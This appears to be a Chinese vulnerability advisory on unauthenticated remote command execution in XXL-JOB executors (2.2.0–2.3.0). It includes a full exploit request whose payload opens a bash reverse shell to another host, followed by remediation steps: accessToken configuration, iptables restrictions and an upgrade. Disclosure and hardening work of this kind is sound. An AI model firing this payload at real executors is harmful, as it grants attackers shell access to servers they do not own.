XXL-JOB是一个分布式任务调度平台,分为调度中心和执行器两部分。
在调度中心添加执行器后,调度中心可以对执行器进行命令执行,属于集权系统,可以帮助攻击者批量获取服务器权限。
同时,通过调度中心横向到执行器,往往可以帮助攻击者实现跨网横移,这在网络策略严格的环境中具有较大价值。
调度中心使用RESTful API对执行器进行调度通信时,可以使用accessToken向执行器证明自己的身份。
如果没有配置accessToken,任何人都能对执行器发起调度通信,对执行器所在的服务器进行任意命令执行,从而获得执行器所在服务器的权限。
受影响版本是2.2.0 <= XXL-JOB <= 2.3.0
,具体如下:
POST /run HTTP/1.1
Host: 10.58.81.107:9999
Content-Length: 383
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1745646241,
"glueType": "GLUE_SHELL",
"glueSource": "bash -i >& /dev/tcp/10.58.81.119/8888 0>&1",
"glueUpdatetime": 1745646241,
"broadcastIndex": 0,
"broadcastTotal": 0
}
可参考XXL-JOB作者恨铁不成钢的防护建议:XXL JOB 未授权访问致远程命令执行 "漏洞" 声明
配置accessToken,开启身份认证,调度中心和执行器的值需保持一致。
accessToken在调度中心的配置文件是xxl-job-admin/src/main/resources/application.properties
,配置项是xxl.job.accessToken=
。
accessToken在执行器的配置文件是xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties
,配置项是xxl.job.accessToken=
。
例如将accessToken的值修改为OneMoreThink666666:
cd /usr/local/xxl-job-2.2.0
sed -i 's/xxl.job.accessToken=/xxl.job.accessToken=OneMoreThink666666/g' /usr/local/xxl-job-2.2.0/xxl-job-admin/src/main/resources/application.properties
sed -i 's/xxl.job.accessToken=/xxl.job.accessToken=OneMoreThink666666/g' /usr/local/xxl-job-2.2.0/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties
然后重新打包与部署:
### 打包
cd /usr/local/xxl-job-2.2.0
mvn clean package
## 部署调度中心和执行器
java -jar xxl-job-admin/target/xxl-job-admin-2.2.0.jar &
java -jar xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.2.0.jar
再次对执行器进行未授权任意代码执行,如果报错The access token is wrong
,说明漏洞修复成功。
在执行器所在的服务器中配置本地防火墙,只允许调度中心访问执行器的9999端口。
# 如果担心已有规则干扰,可将允许规则插入到链的顶部。
# 即时调度中心和执行器在同一台服务器中,该命令不会影响调度中心对执行器的正常通信。
iptables -I INPUT 1 -p tcp -s 10.58.81.107 --dport 9999 -j ACCEPT
# 拒绝其他所有IP访问9999端口
iptables -A INPUT -p tcp --dport 9999 -j DROP
# 永久保存规则(CentOS中)
yum install iptables-services -y && service iptables save && systemctl enable iptables
再次对执行器进行未授权任意代码执行,如果没有响应,连接失败,说明漏洞修复成功。
建议升级至2.4.1及以上版本。
本文分享自 OneMoreThink 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有